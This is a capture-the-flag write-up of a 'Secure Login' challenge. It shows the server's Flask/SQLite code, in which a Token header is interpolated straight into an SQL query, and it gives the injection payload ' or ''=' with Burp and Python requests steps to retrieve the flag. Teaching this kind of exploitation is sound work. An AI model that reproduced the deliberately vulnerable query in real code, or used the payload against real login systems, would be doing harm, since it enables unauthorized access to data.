Skip to content

Secure Login

This challenge is meant to be a straightforward SQL injection challenge.
The only hurdle to exploitation is the vulnerable field is not present in the user interface, requiring participants to use tools like Burp Suite to solve the challenge.

Most teams (12/19) were able to solve this challenge.

Vulnerability

The source code of the challenge server is provided below (abbreviated and reformatted for readability).

python
flag = open("./flag.txt").read()
db = sqlite3.connect(":memory:")
db.execute("""
           create table if not exists users (
           id int, 
           name varchar(255), 
           password varchar(255), 
           token varchar(255),
           message varchar(255)
)""")
db.execute(
    f"insert into users values (1, 'admin',
    '{secrets.token_hex(32)}', '{secrets.token_hex(32)}', '{flag}');"
)

@app.route("/login", methods=["post"])
def login():
    username = request.form.get('username', default='', type=str)
    password = request.form.get('password', default='', type=str)
    token = request.headers.get('Token', '')
    users = db.execute(
        f"select message from users where name=? and password=? or token='{token}'",
         [username, password]
    ).fetchall()
    if users:
        return Response(users[0][0], mimetype='text/plain')
    return Response('Login failed', mimetype='text/plain')

We can see that the flag is stored in the message column of the users table and there is only one row in table.

Moving on to the /login route, we see an SQL query reading the message column from users. Most of the fields are properly handled via sqlite's parameter substitution. However, one field, token is directly interpolated into the string. Tracing the flow of the token variable, we observe that it is obtained from the Token header. Now, we have all the pieces that are necessary to exploit this service.

Exploitation

Since the login form only contains the username and password fields, we will need to either use Burp Suite or write a script to deliver our payload.

Burp Suite

First, we open the challenge website in Burp Proxy and submit the form with some garbage input. We should observe the following HTTP request in the HTTP history. secure-login-http1.png

Next, we send the request to the Repeater, which will allow us to add a Token header. Let's add a Token header with the SQLi payload ' or ''='. This will result in select message from users where name=? and password=? or token='' or ''='' being executed, which will cause all rows to be returned.

Sending this request to the server will result in the revelation of the flag. img.png

Python requests

We can also do the same thing pretty easily using the Python requests library:

python
import requests

target = "http://challs.nusgreyhats.org:55680"

req = requests.post(target + "/login", headers={"Token": "' or ''='"})

print(req.text)

Author's observations

The participants seemed to have no problems solving this challenge. No technical issues were observed either.